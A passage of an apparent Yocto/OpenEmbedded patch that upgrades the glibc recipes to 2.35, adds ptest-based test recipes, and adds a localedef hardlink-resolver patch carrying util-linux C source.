+ libclocale = d.getVar("PREFERRED_PROVIDER_virtual/libc-locale")
+ if libc != "glibc" or libclocale != "glibc-locale":
+ raise bb.parse.SkipRecipe("glibc-testsuite requires that virtual/libc is glibc")
+}
+
+DEPENDS += "glibc-locale libgcc gcc-runtime"
+
+# remove the initial depends
+DEPENDS:remove = "libgcc-initial"
+
+do_check[dirs] += "${B}"
+do_check () {
+ # clean out previous test results
+ oe_runmake tests-clean
+ # makefiles don't clean entirely (and also sometimes fails due to too many args)
+ find ${B} -type f -name "*.out" -delete
+ find ${B} -type f -name "*.test-result" -delete
+ find ${B}/catgets -name "*.cat" -delete
+ find ${B}/conform -name "symlist-*" -delete
+ [ ! -e ${B}/timezone/testdata ] || rm -rf ${B}/timezone/testdata
+}
+addtask do_check after do_compile
diff --git a/meta/recipes-core/glibc/glibc-tests_2.35.bb b/meta/recipes-core/glibc/glibc-tests_2.35.bb
new file mode 100644
index 0000000000..8c7ecf89ba
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc-tests_2.35.bb
@@ -0,0 +1,115 @@
+require glibc_${PV}.bb
+require glibc-tests.inc
+
+inherit ptest
+
+SRC_URI:append = " \
+ file://run-ptest \
+"
+
+SUMMARY = "glibc tests to be run with ptest"
+
+# Erase some variables already set by glibc_${PV}
+python __anonymous() {
+ # Remove packages provided by glibc build, we only need a subset of them
+ d.setVar("PACKAGES", "${PN} ${PN}-ptest")
+
+ d.setVar("PROVIDES", "${PN} ${PN}-ptest")
+ d.setVar("RPROVIDES", "${PN} ${PN}-ptest")
+
+ d.setVar("BBCLASSEXTEND", "")
+ d.setVar("RRECOMMENDS", "")
+ d.setVar("SYSTEMD_SERVICE:nscd", "")
+ d.setVar("SYSTEMD_PACKAGES", "")
+}
+
+# Remove any leftovers from original glibc recipe
+RPROVIDES:${PN} = "${PN}"
+RRECOMMENDS:${PN} = ""
+RDEPENDS:${PN} = " glibc sed"
+DEPENDS:append = " sed"
+
+# Just build tests for target - do not run them
+do_check:append () {
+ oe_runmake -i check run-built-tests=no
+}
+addtask do_check after do_compile before do_install_ptest_base
+
+glibc_strip_build_directory () {
+ # Delete all non executable files from build directory
+ find ${B} ! -executable -type f -delete
+
+ # Remove build dynamic libraries and links to them as
+ # those are already installed in the target device
+ find ${B} -type f -name "*.so" -delete
+ find ${B} -type l -name "*.so*" -delete
+
+ # Remove headers (installed with glibc)
+ find ${B} -type f -name "*.h" -delete
+
+ find ${B} -type f -name "isomac" -delete
+ find ${B} -type f -name "annexc" -delete
+}
+
+do_install_ptest_base () {
+ glibc_strip_build_directory
+
+ ls -r ${B}/*/*-time64 > ${B}/tst_time64
+
+ # Remove '-time64' suffix - those tests are also time related
+ sed -e "s/-time64$//" ${B}/tst_time64 > ${B}/tst_time_tmp
+ tst_time=$(cat ${B}/tst_time_tmp ${B}/tst_time64)
+
+ rm ${B}/tst_time_tmp ${B}/tst_time64
+ echo "${tst_time}"
+
+ # Install build test programs to the image
+ install -d ${D}${PTEST_PATH}/tests/glibc-ptest/
+
+ for f in "${tst_time}"
+ do
+ cp -r ${f} ${D}${PTEST_PATH}/tests/glibc-ptest/
+ done
+
+ install -d ${D}${PTEST_PATH}
+ cp ${WORKDIR}/run-ptest ${D}${PTEST_PATH}/
+
+}
+
+# The datadir directory is required to allow core (and reused)
+# glibc cleanup function to finish correctly, as this directory
+# is not created for ptests
+stash_locale_package_cleanup:prepend () {
+ mkdir -p ${PKGD}${datadir}
+}
+
+stash_locale_sysroot_cleanup:prepend () {
+ mkdir -p ${SYSROOT_DESTDIR}${datadir}
+}
+
+# Prevent the do_package() task to set 'libc6' prefix
+# for glibc tests related packages
+python populate_packages:prepend () {
+ if d.getVar('DEBIAN_NAMES'):
+ d.setVar('DEBIAN_NAMES', '')
+}
+
+FILES:${PN} = "${PTEST_PATH}/* /usr/src/debug/glibc-tests/*"
+
+EXCLUDE_FROM_SHLIBS = "1"
+
+# Install debug data in .debug and sources in /usr/src/debug
+# It is more handy to have _all_ the sources and symbols in one
+# place (package) as this recipe will be used for validation and
+# debugging.
+PACKAGE_DEBUG_SPLIT_STYLE = ".debug"
+
+# glibc test cases violate by default some Yocto/OE checks (staticdev,
+# textrel)
+# 'debug-files' - add everything (including debug) into one package
+# (no need to install/build *-src package)
+INSANE_SKIP:${PN} += "staticdev textrel debug-files rpaths"
+
+deltask do_stash_locale
+do_install[noexec] = "1"
+do_populate_sysroot[noexec] = "1"
diff --git a/meta/recipes-core/glibc/glibc-testsuite_2.30.bb b/meta/recipes-core/glibc/glibc-testsuite_2.30.bb
deleted file mode 100644
index 657fd4dbc1..0000000000
--- a/meta/recipes-core/glibc/glibc-testsuite_2.30.bb
+++ /dev/null
@@ -1,60 +0,0 @@
-require glibc_${PV}.bb
-
-# handle PN differences
-FILESEXTRAPATHS_prepend := "${THISDIR}/glibc:"
-
-# strip provides
-PROVIDES = ""
-# setup depends
-INHIBIT_DEFAULT_DEPS = ""
-
-python () {
- libc = d.getVar("PREFERRED_PROVIDER_virtual/libc")
- libclocale = d.getVar("PREFERRED_PROVIDER_virtual/libc-locale")
- if libc != "glibc" or libclocale != "glibc-locale":
- raise bb.parse.SkipRecipe("glibc-testsuite requires that virtual/libc is glibc")
-}
-
-DEPENDS += "glibc-locale libgcc gcc-runtime"
-
-# remove the initial depends
-DEPENDS_remove = "libgcc-initial"
-
-inherit qemu
-
-SRC_URI += "file://check-test-wrapper"
-
-DEPENDS += "${@'qemu-native' if d.getVar('TOOLCHAIN_TEST_TARGET') == 'user' else ''}"
-
-TOOLCHAIN_TEST_TARGET ??= "user"
-TOOLCHAIN_TEST_HOST ??= "localhost"
-TOOLCHAIN_TEST_HOST_USER ??= "root"
-TOOLCHAIN_TEST_HOST_PORT ??= "2222"
-
-do_check[dirs] += "${B}"
-do_check[nostamp] = "1"
-do_check () {
- chmod 0755 ${WORKDIR}/check-test-wrapper
-
- # clean out previous test results
- oe_runmake tests-clean
- # makefiles don't clean entirely (and also sometimes fails due to too many args)
- find ${B} -type f -name "*.out" -delete
- find ${B} -type f -name "*.test-result" -delete
- find ${B}/catgets -name "*.cat" -delete
- find ${B}/conform -name "symlist-*" -delete
- [ ! -e ${B}/timezone/testdata ] || rm -rf ${B}/timezone/testdata
-
- oe_runmake -i \
- QEMU_SYSROOT="${RECIPE_SYSROOT}" \
- QEMU_OPTIONS="${@qemu_target_binary(d)} ${QEMU_OPTIONS}" \
- SSH_HOST="${TOOLCHAIN_TEST_HOST}" \
- SSH_HOST_USER="${TOOLCHAIN_TEST_HOST_USER}" \
- SSH_HOST_PORT="${TOOLCHAIN_TEST_HOST_PORT}" \
- test-wrapper="${WORKDIR}/check-test-wrapper ${TOOLCHAIN_TEST_TARGET}" \
- check
-}
-addtask do_check after do_compile
-
-inherit nopackages
-deltask do_stash_locale
diff --git a/meta/recipes-core/glibc/glibc-testsuite_2.35.bb b/meta/recipes-core/glibc/glibc-testsuite_2.35.bb
new file mode 100644
index 0000000000..e8ad2a938b
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc-testsuite_2.35.bb
@@ -0,0 +1,35 @@
+require glibc_${PV}.bb
+require glibc-tests.inc
+
+inherit qemu
+
+SRC_URI += "file://check-test-wrapper"
+
+# strip provides
+PROVIDES = ""
+
+DEPENDS += "${@'qemu-native' if d.getVar('TOOLCHAIN_TEST_TARGET') == 'user' else ''}"
+
+TOOLCHAIN_TEST_TARGET ??= "user"
+TOOLCHAIN_TEST_HOST ??= "localhost"
+TOOLCHAIN_TEST_HOST_USER ??= "root"
+TOOLCHAIN_TEST_HOST_PORT ??= "2222"
+
+do_check[nostamp] = "1"
+do_check:append () {
+ chmod 0755 ${WORKDIR}/check-test-wrapper
+
+ oe_runmake -i \
+ QEMU_SYSROOT="${RECIPE_SYSROOT}" \
+ QEMU_OPTIONS="${@qemu_target_binary(d)} ${QEMU_OPTIONS}" \
+ SSH_HOST="${TOOLCHAIN_TEST_HOST}" \
+ SSH_HOST_USER="${TOOLCHAIN_TEST_HOST_USER}" \
+ SSH_HOST_PORT="${TOOLCHAIN_TEST_HOST_PORT}" \
+ test-wrapper="${WORKDIR}/check-test-wrapper ${TOOLCHAIN_TEST_TARGET}" \
+ check
+}
+
+inherit nopackages
+deltask do_stash_locale
+deltask do_install
+deltask do_populate_sysroot
diff --git a/meta/recipes-core/glibc/glibc-version.inc b/meta/recipes-core/glibc/glibc-version.inc
index c18c583399..080e905b6e 100644
--- a/meta/recipes-core/glibc/glibc-version.inc
+++ b/meta/recipes-core/glibc/glibc-version.inc
@@ -1,7 +1,7 @@
-SRCBRANCH ?= "release/2.30/master"
-PV = "2.30"
-SRCREV_glibc ?= "be9a328c93834648e0bec106a1f86357d1a8c7e1"
-SRCREV_localedef ?= "cd9f958c4c94a638fa7b2b4e21627364f1a1a655"
+SRCBRANCH ?= "release/2.35/master"
+PV = "2.35"
+SRCREV_glibc ?= "24962427071fa532c3c48c918e9d64d719cc8a6c"
+SRCREV_localedef ?= "794da69788cbf9bf57b59a852f9f11307663fa87"
GLIBC_GIT_URI ?= "git://sourceware.org/git/glibc.git"
diff --git a/meta/recipes-core/glibc/glibc.inc b/meta/recipes-core/glibc/glibc.inc
index 252fd56c13..fdd241d973 100644
--- a/meta/recipes-core/glibc/glibc.inc
+++ b/meta/recipes-core/glibc/glibc.inc
@@ -1,30 +1,33 @@
require glibc-common.inc
require glibc-ld.inc
-require glibc-testing.inc
DEPENDS = "virtual/${TARGET_PREFIX}gcc libgcc-initial linux-libc-headers"
PROVIDES = "virtual/libc"
PROVIDES += "virtual/libintl virtual/libiconv"
-inherit autotools texinfo distro_features_check systemd
+inherit autotools texinfo systemd
LEAD_SONAME = "libc.so"
+# msgfmt could come from gettext-native but we don't depend on that and
+# disable for reproducibility
CACHED_CONFIGUREVARS += " \
ac_cv_path_BASH_SHELL=${base_bindir}/bash \
+ ac_cv_prog_MSGFMT= \
libc_cv_slibdir=${base_libdir} \
libc_cv_rootsbindir=${base_sbindir} \
libc_cv_localedir=${localedir} \
libc_cv_ssp_strong=no \
libc_cv_ssp_all=no \
libc_cv_ssp=no \
+ libc_cv_include_x86_isa_level=no \
"
# ifunc doesn't appear to work on mips, casuses libbfd assertion failures
-CACHED_CONFIGUREVARS_append_mipsarch = " libc_cv_ld_gnu_indirect_function=no"
+CACHED_CONFIGUREVARS:append:mipsarch = " libc_cv_ld_gnu_indirect_function=no"
GLIBC_EXTRA_OECONF ?= ""
-GLIBC_EXTRA_OECONF_class-nativesdk = ""
+GLIBC_EXTRA_OECONF:class-nativesdk = ""
# glibc uses PARALLELMFLAGS variable to pass parallel build info so transfer
# PARALLEL_MAKE into PARALLELMFLAGS and empty out PARALLEL_MAKE
@@ -38,12 +41,16 @@ PARALLEL_MAKE = ""
# ensure make uses /bin/bash
EXTRA_OEMAKE += "SHELL=/bin/bash"
-do_configure_prepend() {
- sed -e "s#@BASH@#/bin/sh#" -i ${S}/elf/ldd.bash.in
+# We do not need bash to run tzselect script, the default is to use
+# bash but it can be configured by setting KSHELL Makefile variable
+EXTRA_OEMAKE += "KSHELL=/bin/sh"
+
+do_configure:prepend() {
+ sed -e "s#/bin/bash#/bin/sh#" -i ${S}/elf/ldd.bash.in
}
# Enable backtrace from abort()
-do_configure_append_arm () {
+do_configure:append:arm () {
echo "CFLAGS-abort.c = -fasynchronous-unwind-tables" >> ${B}/configparms
echo "CFLAGS-raise.c = -fasynchronous-unwind-tables" >> ${B}/configparms
}
diff --git a/meta/recipes-core/glibc/glibc/0001-localedef-Add-hardlink-resolver-from-util-linux.patch b/meta/recipes-core/glibc/glibc/0001-localedef-Add-hardlink-resolver-from-util-linux.patch
new file mode 100644
index 0000000000..546fe58214
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0001-localedef-Add-hardlink-resolver-from-util-linux.patch
@@ -0,0 +1,1130 @@
+From 8778429a3345bb5c0361332cf5103f394717a396 Mon Sep 17 00:00:00 2001
+From: Jason Wessel <jason.wessel@windriver.com>
+Date: Sat, 7 Dec 2019 09:59:22 -0800
+Subject: [PATCH] localedef: Add hardlink resolver from util-linux
+
+The hard link resolver that is built into localedef cannot be run in
+parallel. It will search sibling directories (which are be processed
+in parallel) and perform a creation of a .tmp file and remove the
+original and move the .tmp file in. The problem is that if a probe
+occurs a hard link can be requested to the file that is being removed.
+This will lead to a stray copy or potentially, on a loaded system
+cause race condition which pseudo cannot deal with, where it is left
+with a hard link request to a file that no longer exists. In this
+situation psuedo will inherit the permissions of what ever the target
+inode had to offer.
+
+In short, there are two problems:
+
+1) You will be left with stray copies when using the hard link
+resolution that is built in while running in parallel with
+localedef.
+
+2) When running under pseudo the possibility exists for uid/gid
+leakage when the source file is removed before the hard link can
+be completed.
+
+The solution is to call localedef with --no-hard-links and separately
+process the hardlinks at a later point. To do this requires the
+inclusion of the hardlink utility found in modern versions of
+util-linux. Most host systems do not have this, so it will be
+included with the cross-localedef binary.
+
+[YOCTO #11299]
+[YOCTO #12434]
+
+Upstream-Status: Pending
+
+Signed-off-by: Jason Wessel <jason.wessel@windriver.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ locale/programs/c.h | 407 ++++++++++++++++
+ locale/programs/cross-localedef-hardlink.c | 528 +++++++++++++++++++++
+ locale/programs/xalloc.h | 129 +++++
+ 3 files changed, 1064 insertions(+)
+ create mode 100644 locale/programs/c.h
+ create mode 100644 locale/programs/cross-localedef-hardlink.c
+ create mode 100644 locale/programs/xalloc.h
+
+diff --git a/locale/programs/c.h b/locale/programs/c.h
+new file mode 100644
+index 0000000000..d0a402e90e
+--- /dev/null
++++ b/locale/programs/c.h
+@@ -0,0 +1,407 @@
++/*
++ * Fundamental C definitions.
++ */
++
++#ifndef UTIL_LINUX_C_H
++#define UTIL_LINUX_C_H
++
++#include <limits.h>
++#include <stddef.h>
++#include <stdint.h>
++#include <stdio.h>
++#include <unistd.h>
++#include <stdarg.h>
++#include <stdlib.h>
++#include <string.h>
++#include <errno.h>
++
++#include <assert.h>
++
++#ifdef HAVE_ERR_H
++# include <err.h>
++#endif
++
++#ifdef HAVE_SYS_SYSMACROS_H
++# include <sys/sysmacros.h> /* for major, minor */
++#endif
++
++#ifndef LOGIN_NAME_MAX
++# define LOGIN_NAME_MAX 256
++#endif
++
++#ifndef NAME_MAX
++# define NAME_MAX PATH_MAX
++#endif
++
++/*
++ * __GNUC_PREREQ is deprecated in favour of __has_attribute() and
++ * __has_feature(). The __has macros are supported by clang and gcc>=5.
++ */
++#ifndef __GNUC_PREREQ
++# if defined __GNUC__ && defined __GNUC_MINOR__
++# define __GNUC_PREREQ(maj, min) \
++ ((__GNUC__ << 16) + __GNUC_MINOR__ >= ((maj) << 16) + (min))
++# else
++# define __GNUC_PREREQ(maj, min) 0
++# endif
++#endif
++
++#ifdef __GNUC__
++
++/* &a[0] degrades to a pointer: a different type from an array */
++# define __must_be_array(a) \
++ UL_BUILD_BUG_ON_ZERO(__builtin_types_compatible_p(__typeof__(a), __typeof__(&a[0])))
++
++# define ignore_result(x) __extension__ ({ \
++ __typeof__(x) __dummy __attribute__((__unused__)) = (x); (void) __dummy; \
++})
++
++#else /* !__GNUC__ */
++# define __must_be_array(a) 0
++# define __attribute__(_arg_)
++# define ignore_result(x) ((void) (x))
++#endif /* !__GNUC__ */
++
++/*
++ * It evaluates to 1 if the attribute/feature is supported by the current
++ * compilation targed. Fallback for old compilers.
++ */
++#ifndef __has_attribute
++ #define __has_attribute(x) 0
++#endif
++
++#ifndef __has_feature
++ #define __has_feature(x) 0
++#endif
++
++/*
++ * Function attributes
++ */
++#ifndef __ul_alloc_size
++# if (__has_attribute(alloc_size) && __has_attribute(warn_unused_result)) || __GNUC_PREREQ (4, 3)
++# define __ul_alloc_size(s) __attribute__((alloc_size(s), warn_unused_result))
++# else
++# define __ul_alloc_size(s)
++# endif
++#endif
++
++#ifndef __ul_calloc_size
++# if (__has_attribute(alloc_size) && __has_attribute(warn_unused_result)) || __GNUC_PREREQ (4, 3)
++# define __ul_calloc_size(n, s) __attribute__((alloc_size(n, s), warn_unused_result))
++# else
++# define __ul_calloc_size(n, s)
++# endif
++#endif
++
++#if __has_attribute(returns_nonnull) || __GNUC_PREREQ (4, 9)
++# define __ul_returns_nonnull __attribute__((returns_nonnull))
++#else
++# define __ul_returns_nonnull
++#endif
++
++/*
++ * Force a compilation error if condition is true, but also produce a
++ * result (of value 0 and type size_t), so the expression can be used
++ * e.g. in a structure initializer (or wherever else comma expressions
++ * aren't permitted).
++ */
++#define UL_BUILD_BUG_ON_ZERO(e) __extension__ (sizeof(struct { int:-!!(e); }))
++#define BUILD_BUG_ON_NULL(e) ((void *)sizeof(struct { int:-!!(e); }))
++
++#ifndef ARRAY_SIZE
++# define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]) + __must_be_array(arr))
++#endif
++
++#ifndef PATH_MAX
++# define PATH_MAX 4096
++#endif
++
++#ifndef TRUE
++# define TRUE 1
++#endif
++
++#ifndef FALSE
++# define FALSE 0
++#endif
++
++#ifndef min
++# define min(x, y) __extension__ ({ \
++ __typeof__(x) _min1 = (x); \
++ __typeof__(y) _min2 = (y); \
++ (void) (&_min1 == &_min2); \
++ _min1 < _min2 ? _min1 : _min2; })
++#endif
++
++#ifndef max
++# define max(x, y) __extension__ ({ \
++ __typeof__(x) _max1 = (x); \
++ __typeof__(y) _max2 = (y); \
++ (void) (&_max1 == &_max2); \
++ _max1 > _max2 ? _max1 : _max2; })
++#endif
++
++#ifndef cmp_numbers
++# define cmp_numbers(x, y) __extension__ ({ \
++ __typeof__(x) _a = (x); \
++ __typeof__(y) _b = (y); \
++ (void) (&_a == &_b); \
++ _a == _b ? 0 : _a > _b ? 1 : -1; })
++#endif
++
++#ifndef offsetof
++#define offsetof(TYPE, MEMBER) ((size_t) &((TYPE *)0)->MEMBER)
++#endif
++
++/*
++ * container_of - cast a member of a structure out to the containing structure
++ * @ptr: the pointer to the member.
++ * @type: the type of the container struct this is embedded in.
++ * @member: the name of the member within the struct.
++ */
++#ifndef container_of
++#define container_of(ptr, type, member) __extension__ ({ \
++ const __typeof__( ((type *)0)->member ) *__mptr = (ptr); \
++ (type *)( (char *)__mptr - offsetof(type,member) );})
++#endif
++
++#ifndef HAVE_PROGRAM_INVOCATION_SHORT_NAME
++# ifdef HAVE___PROGNAME
++extern char *__progname;
++# define program_invocation_short_name __progname
++# else
++# ifdef HAVE_GETEXECNAME
++# define program_invocation_short_name \
++ prog_inv_sh_nm_from_file(getexecname(), 0)
++# else
++# define program_invocation_short_name \
++ prog_inv_sh_nm_from_file(__FILE__, 1)
++# endif
++static char prog_inv_sh_nm_buf[256];
++static inline char *
++prog_inv_sh_nm_from_file(char *f, char stripext)
++{
++ char *t;
++
++ if ((t = strrchr(f, '/')) != NULL)
++ t++;
++ else
++ t = f;
++
++ strncpy(prog_inv_sh_nm_buf, t, sizeof(prog_inv_sh_nm_buf) - 1);
++ prog_inv_sh_nm_buf[sizeof(prog_inv_sh_nm_buf) - 1] = '\0';
++
++ if (stripext && (t = strrchr(prog_inv_sh_nm_buf, '.')) != NULL)
++ *t = '\0';
++
++ return prog_inv_sh_nm_buf;
++}
++# endif
++#endif
++
++
++#ifndef HAVE_ERR_H
++static inline void
++errmsg(char doexit, int excode, char adderr, const char *fmt, ...)
++{
++ fprintf(stderr, "%s: ", program_invocation_short_name);
++ if (fmt != NULL) {
++ va_list argp;
++ va_start(argp, fmt);
++ vfprintf(stderr, fmt, argp);
++ va_end(argp);
++ if (adderr)
++ fprintf(stderr, ": ");
++ }
++ if (adderr)
++ fprintf(stderr, "%m");
++ fprintf(stderr, "\n");
++ if (doexit)
++ exit(excode);
++}
++
++#ifndef HAVE_ERR
++# define err(E, FMT...) errmsg(1, E, 1, FMT)
++#endif
++
++#ifndef HAVE_ERRX
++# define errx(E, FMT...) errmsg(1, E, 0, FMT)
++#endif
++
++#ifndef HAVE_WARN
++# define warn(FMT...) errmsg(0, 0, 1, FMT)
++#endif
++
++#ifndef HAVE_WARNX
++# define warnx(FMT...) errmsg(0, 0, 0, FMT)
++#endif
++#endif /* !HAVE_ERR_H */
++
++
++/* Don't use inline function to avoid '#include "nls.h"' in c.h
++ */
++#define errtryhelp(eval) __extension__ ({ \
++ fprintf(stderr, _("Try '%s --help' for more information.\n"), \
++ program_invocation_short_name); \
++ exit(eval); \
++})
++
++/* After failed execvp() */
++#define EX_EXEC_FAILED 126 /* Program located, but not usable. */
++#define EX_EXEC_ENOENT 127 /* Could not find program to exec. */
++#define errexec(name) err(errno == ENOENT ? EX_EXEC_ENOENT : EX_EXEC_FAILED, \
++ _("failed to execute %s"), name)
++
++
++static inline __attribute__((const)) int is_power_of_2(unsigned long num)
++{
++ return (num != 0 && ((num & (num - 1)) == 0));
++}
++
++#ifndef HAVE_LOFF_T
++typedef int64_t loff_t;
++#endif
++
++#if !defined(HAVE_DIRFD) && (!defined(HAVE_DECL_DIRFD) || HAVE_DECL_DIRFD == 0) && defined(HAVE_DIR_DD_FD)
++#include <sys/types.h>
++#include <dirent.h>
++static inline int dirfd(DIR *d)
++{
++ return d->dd_fd;
++}
++#endif
++
++/*
++ * Fallback defines for old versions of glibc
++ */
++#include <fcntl.h>
++
++#ifdef O_CLOEXEC
++#define UL_CLOEXECSTR "e"
++#else
++#define UL_CLOEXECSTR ""
++#endif
++
++#ifndef O_CLOEXEC
++#define O_CLOEXEC 0
++#endif
++
++#ifdef __FreeBSD_kernel__
++#ifndef F_DUPFD_CLOEXEC
++#define F_DUPFD_CLOEXEC 17 /* Like F_DUPFD, but FD_CLOEXEC is set */
++#endif
++#endif
++
++
++#ifndef AI_ADDRCONFIG
++#define AI_ADDRCONFIG 0x0020
++#endif
++
++#ifndef IUTF8
++#define IUTF8 0040000
++#endif
++
++/*
++ * MAXHOSTNAMELEN replacement
++ */
++static inline size_t get_hostname_max(void)
++{
++ long len = sysconf(_SC_HOST_NAME_MAX);
++
++ if (0 < len)
++ return len;
++
++#ifdef MAXHOSTNAMELEN
++ return MAXHOSTNAMELEN;
++#elif HOST_NAME_MAX
++ return HOST_NAME_MAX;
++#endif
++ return 64;
++}
++
++
++/*
++ * Constant strings for usage() functions. For more info see
++ * Documentation/{howto-usage-function.txt,boilerplate.c}
++ */
++#define USAGE_HEADER ("\nUsage:\n")
++#define USAGE_OPTIONS ("\nOptions:\n")
++#define USAGE_FUNCTIONS ("\nFunctions:\n")
++#define USAGE_COMMANDS ("\nCommands:\n")
++#define USAGE_COLUMNS ("\nAvailable output columns:\n")
++#define USAGE_SEPARATOR "\n"
++
++#define USAGE_OPTSTR_HELP ("display this help")
++#define USAGE_OPTSTR_VERSION ("display version")
++
++#define USAGE_HELP_OPTIONS(marg_dsc) \
++ "%-" #marg_dsc "s%s\n" \
++ "%-" #marg_dsc "s%s\n" \
++ , " -h, --help", USAGE_OPTSTR_HELP \
++ , " -V, --version", USAGE_OPTSTR_VERSION
++
++#define USAGE_MAN_TAIL(_man) ("\nFor more details see %s.\n"), _man
++
++#define UTIL_LINUX_VERSION ("%s from %s\n"), program_invocation_short_name, PACKAGE_STRING
++
++#define print_version(eval) __extension__ ({ \
++ printf(UTIL_LINUX_VERSION); \
++ exit(eval); \
++})
++
++/*
++ * scanf modifiers for "strings allocation"
++ */
++#ifdef HAVE_SCANF_MS_MODIFIER
++#define UL_SCNsA "%ms"
++#elif defined(HAVE_SCANF_AS_MODIFIER)
++#define UL_SCNsA "%as"
++#endif
++
++/*
++ * seek stuff
++ */
++#ifndef SEEK_DATA
++# define SEEK_DATA 3
++#endif
++#ifndef SEEK_HOLE
++# define SEEK_HOLE 4
++#endif
++
++
++/*
++ * Macros to convert #define'itions to strings, for example
++ * #define XYXXY 42
++ * printf ("%s=%s\n", stringify(XYXXY), stringify_value(XYXXY));
++ */
++#define stringify_value(s) stringify(s)
++#define stringify(s) #s
++
++/*
++ * UL_ASAN_BLACKLIST is a macro to tell AddressSanitizer (a compile-time
++ * instrumentation shipped with Clang and GCC) to not instrument the
++ * annotated function. Furthermore, it will prevent the compiler from
++ * inlining the function because inlining currently breaks the blacklisting
++ * mechanism of AddressSanitizer.
++ */
++#if __has_feature(address_sanitizer) && __has_attribute(no_sanitize_memory) && __has_attribute(no_sanitize_address)
++# define UL_ASAN_BLACKLIST __attribute__((noinline)) __attribute__((no_sanitize_memory)) __attribute__((no_sanitize_address))
++#else
++# define UL_ASAN_BLACKLIST /* nothing */
++#endif
++
++/*
++ * Note that sysconf(_SC_GETPW_R_SIZE_MAX) returns *initial* suggested size for
++ * pwd buffer and in some cases it is not large enough. See POSIX and
++ * getpwnam_r man page for more details.
++ */
++#define UL_GETPW_BUFSIZ (16 * 1024)
++
++/*
++ * Darwin or other BSDs may only have MAP_ANON. To get it on Darwin we must
++ * define _DARWIN_C_SOURCE before including sys/mman.h. We do this in config.h.
++ */
++#if !defined MAP_ANONYMOUS && defined MAP_ANON
++# define MAP_ANONYMOUS (MAP_ANON)
++#endif
++
++#endif /* UTIL_LINUX_C_H */
+diff --git a/locale/programs/cross-localedef-hardlink.c b/locale/programs/cross-localedef-hardlink.c
+new file mode 100644
+index 0000000000..63615896b0
+--- /dev/null
++++ b/locale/programs/cross-localedef-hardlink.c
+@@ -0,0 +1,528 @@
++/*
++ * hardlink - consolidate duplicate files via hardlinks
++ *
++ * Copyright (C) 2018 Red Hat, Inc. All rights reserved.
++ * Written by Jakub Jelinek <jakub@redhat.com>
++ *
++ * Copyright (C) 2019 Karel Zak <kzak@redhat.com>
++ *
++ * This program is free software; you can redistribute it and/or modify
++ * it under the terms of the GNU General Public License as published by
++ * the Free Software Foundation; either version 2 of the License, or
++ * (at your option) any later version.
++ *
++ * This program is distributed in the hope that it would be useful,
++ * but WITHOUT ANY WARRANTY; without even the implied warranty of
++ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ * GNU General Public License for more details.
++ *
++ * You should have received a copy of the GNU General Public License along
++ * with this program; if not, write to the Free Software Foundation, Inc.,
++ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
++ */
++#include <sys/types.h>
++#include <stdlib.h>
++#include <getopt.h>
++#include <stdio.h>
++#include <unistd.h>
++#include <sys/stat.h>
++#include <sys/mman.h>
++#include <string.h>
++#include <dirent.h>
++#include <fcntl.h>
++#include <errno.h>
++#ifdef HAVE_PCRE
++# define PCRE2_CODE_UNIT_WIDTH 8
++# include <pcre2.h>
++#endif
++
++#include "c.h"
++#include "xalloc.h"
++#include "nls.h"
++#include "closestream.h"
++
++#define NHASH (1<<17) /* Must be a power of 2! */
++#define NBUF 64
++
++struct hardlink_file;
++
++struct hardlink_hash {
++ struct hardlink_hash *next;
++ struct hardlink_file *chain;
++ off_t size;
++ time_t mtime;
++};
++
++struct hardlink_dir {
++ struct hardlink_dir *next;
++ char name[];
++};
++
++struct hardlink_file {
++ struct hardlink_file *next;
++ ino_t ino;
++ dev_t dev;
++ unsigned int cksum;
++ char name[];
++};
++
++struct hardlink_dynstr {
++ char *buf;
++ size_t alloc;
++};
++
++struct hardlink_ctl {
++ struct hardlink_dir *dirs;
++ struct hardlink_hash *hps[NHASH];
++ char iobuf1[BUFSIZ];
++ char iobuf2[BUFSIZ];
++ /* summary counters */
++ unsigned long long ndirs;
++ unsigned long long nobjects;
++ unsigned long long nregfiles;
++ unsigned long long ncomp;
++ unsigned long long nlinks;
++ unsigned long long nsaved;
++ /* current device */
++ dev_t dev;
++ /* flags */
++ unsigned int verbose;
++ unsigned int
++ no_link:1,
++ content_only:1,
++ force:1;
++};
++/* ctl is in global scope due use in atexit() */
++struct hardlink_ctl global_ctl;
++
++__attribute__ ((always_inline))
++static inline unsigned int hash(off_t size, time_t mtime)
++{
++ return (size ^ mtime) & (NHASH - 1);
++}
++
++__attribute__ ((always_inline))
++static inline int stcmp(struct stat *st1, struct stat *st2, int content_scope)
++{
++ if (content_scope)
++ return st1->st_size != st2->st_size;
++
++ return st1->st_mode != st2->st_mode
++ || st1->st_uid != st2->st_uid
++ || st1->st_gid != st2->st_gid
++ || st1->st_size != st2->st_size
++ || st1->st_mtime != st2->st_mtime;
++}
++
++static void print_summary(void)
++{
++ struct hardlink_ctl const *const ctl = &global_ctl;
++
++ if (!ctl->verbose)
++ return;
++
++ if (ctl->verbose > 1 && ctl->nlinks)
++ fputc('\n', stdout);
++
++ printf(_("Directories: %9lld\n"), ctl->ndirs);
++ printf(_("Objects: %9lld\n"), ctl->nobjects);
++ printf(_("Regular files: %9lld\n"), ctl->nregfiles);
++ printf(_("Comparisons: %9lld\n"), ctl->ncomp);
++ printf( "%s%9lld\n", (ctl->no_link ?
++ _("Would link: ") :
++ _("Linked: ")), ctl->nlinks);
++ printf( "%s %9lld\n", (ctl->no_link ?
++ _("Would save: ") :
++ _("Saved: ")), ctl->nsaved);
++}
++
++static void __attribute__((__noreturn__)) usage(void)
++{
++ fputs(USAGE_HEADER, stdout);
++ printf(_(" %s [options] directory...\n"), program_invocation_short_name);
++
++ fputs(USAGE_SEPARATOR, stdout);
++ puts(_("Consolidate duplicate files using hardlinks."));
++
++ fputs(USAGE_OPTIONS, stdout);
++ puts(_(" -c, --content compare only contents, ignore permission, etc."));
++ puts(_(" -n, --dry-run don't actually link anything"));
++ puts(_(" -v, --verbose print summary after hardlinking"));
++ puts(_(" -vv print every hardlinked file and summary"));
++ puts(_(" -f, --force force hardlinking across filesystems"));
++ puts(_(" -x, --exclude <regex> exclude files matching pattern"));
++
++ fputs(USAGE_SEPARATOR, stdout);
++ printf(USAGE_HELP_OPTIONS(16)); /* char offset to align option descriptions */
++ printf(USAGE_MAN_TAIL("hardlink(1)"));
++ exit(EXIT_SUCCESS);
